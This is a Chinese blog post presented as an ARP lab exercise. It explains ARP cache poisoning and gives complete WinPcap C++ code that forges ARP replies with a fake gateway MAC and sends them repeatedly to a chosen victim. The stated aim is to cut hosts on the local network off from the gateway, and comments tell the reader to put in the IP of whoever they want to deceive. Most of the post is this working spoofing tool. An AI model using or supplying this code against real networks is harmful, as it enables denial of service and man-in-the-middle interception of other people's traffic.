ARP实验

网友投稿 238 2022-10-28


ARP实验

【实验目的】

1、了解基本的网络攻击原理和攻击的主要步骤;

2、掌握网络攻击的一般思路;

3、了解arp攻击的主要原理和过程;

【实验代码】

arp攻击就是通过伪造ip地址和mac地址实现arp欺骗,能够在网络中产生大量的arp通信量使网络阻塞,攻击者只要持续不断的发出伪造的arp响应包就能更改目标主机arp缓存中的ip-mac条目,造成网络中断或中间人攻击。

arp攻击主要是存在于局域网网络中,局域网中若有一台计算机感染arp木马,则感染该arp木马的系统将会试图通过“arp欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

某机器a要向主机b发送报文,会查询本地的arp缓存表,找到b的ip地址对应的mac地址后,就会进行数据传输。如果未找到,则a广播一个arp请求报文(携带主机a的ip地址ia——物理地址pa),请求ip地址为ib的主机b回答物理地址pb。网上所有主机包括b都收到arp请求,但只有主机b识别自己的ip地址,于是向a主机发回一个arp响应报文。其中就包含有b的mac地址,a接收到b的应答后,就会更新本地的arp缓存。接着使用这个mac地址发送数据(由网卡附加mac地址)。因此,本地高速缓存的这个arp表是本地网络流通的基础,而且这个缓存是动态的。                                                         本实验的主要目的是在局域网内,实施arp攻击,使局域网的网关失去作用,导致局域网内部主机无法与外网通信。

【实验工具】

Microsoft visual Studio

【实验环境】

Win7系统

【实验代码】

// WinpCap Test.cpp : 定义控制台应用程序的入口点。

//

#include "stdafx.h"

#include

int _tmain(int argc, _TCHAR* argv[])

{

pcap_if_t * allAdapters;//适配器列表

pcap_if_t * adapter;

pcap_t    * adapterHandle;//适配器句柄

u_char      packet[ 1020 ]; //待发送的数据封包

char errorBuffer[ PCAP_ERRBUF_SIZE ];//错误信息缓冲区

if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )

{//检索机器连接的所有网络适配器

fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );

return -1;

}

if( allAdapters == NULL )

{//不存在任何适配器

printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );

return 0;

}

int crtAdapter = 0;

for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)

{//遍历输入适配器信息(名称和描述信息)

printf( "\n%d.%s ", ++crtAdapter, adapter->name );

printf( "-- %s\n", adapter->description );

}

printf( "\n" );

//选择适配器

int adapterNumber;

printf( "Enter the adapter number between 1 and %d:", crtAdapter );

scanf_s( "%d", &adapterNumber );

if( adapterNumber < 1 || adapterNumber > crtAdapter )

{

printf( "\nAdapter number out of range.\n" );

pcap_freealldevs( allAdapters );// 释放适配器列表

return -1;

}

adapter = allAdapters;

for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )

adapter = adapter->next;

// 打开指定适配器

adapterHandle = pcap_open( adapter->name, // name of the adapter

65536,         // portion of the packet to capture

// 65536 guarantees that the whole

// packet will be captured

PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode

1000,             // read timeout - 1 millisecond

NULL,          // authentication on the remote machine

errorBuffer    // error buffer

);

if( adapterHandle == NULL )

{//指定适配器打开失败

fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );

// 释放适配器列表

pcap_freealldevs( allAdapters );

return -1;

}

pcap_freealldevs( allAdapters );//释放适配器列表

//创建数据封包

packet[0] = 0xc8;    packet[1] = 0x9c;    packet[2] = 0xdc;    packet[3] = 0x22;    packet[4] = 0x6c;    packet[5] = 0x58;   // 被骗计算机的mac地址

packet[6] = 0xc8;   packet[7]  = 0x9c;   packet[8]  = 0xdc;   packet[9]  = 0x22;   packet[10] = 0x62;   packet[11] = 0x0f;   // 自己的mac地址

packet[12] = 0x08;   packet[13] = 0x06;  // 以太网封装arp协议(不用动)

packet[14] = 0x00;   packet[15] = 0x01;  // arp第1字段:代表以太网

packet[16] = 0x08;   packet[17] = 0x00;  // arp第2字段:代表IP协议

packet[18] = 0x06;  // arp第3字段:代表第二层地址的长度

packet[19] = 0x04;  // arp第4字段:代表第三层地址的长度

packet[20] = 0x00;   packet[21] = 0x02;   // arp第5字段:这是一个arp应答报文; 下面的是arp的第6,7,8,9字段

packet[22] = 0xc8;   packet[23]  = 0x9c;   packet[24]  = 0xdc;   packet[25]  = 0x22;   packet[26] = 0x62;   packet[27] = 0x06; // 假的网关地址,

packet[28] = 0xac;   packet[29] = 0x1c;packet[30] = 0x0f;   packet[31] = 0xfe;    // 网关的ip,这里是172.28.15.254(在本实验室不用改)

packet[32] = 0xc8;   packet[33]  = 0x9c;   packet[34]  = 0xdc;   packet[35]  = 0x22;   packet[36] = 0x6c;   packet[37] = 0x58;  // 被骗计算机的mac地址

packet[38] = 0xac;   packet[39] = 0x1c;packet[40] = 0x0f;   packet[41] = 0x13;   // 被骗计算机的IP地址,这里是172.28.15.19  (想骗谁,这里就改成谁的IP)

//发送数据封包

for(int ssde=0;ssde<100;ssde++)

{

pcap_sendpacket( adapterHandle, packet, 42);

Sleep(1000);

}

system( "PAUSE" );

return 0;

}


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:RIP路由协议基本配置
下一篇:java基础之字符串编码知识点总结
相关文章

 发表评论

暂时没有评论,来抢沙发吧~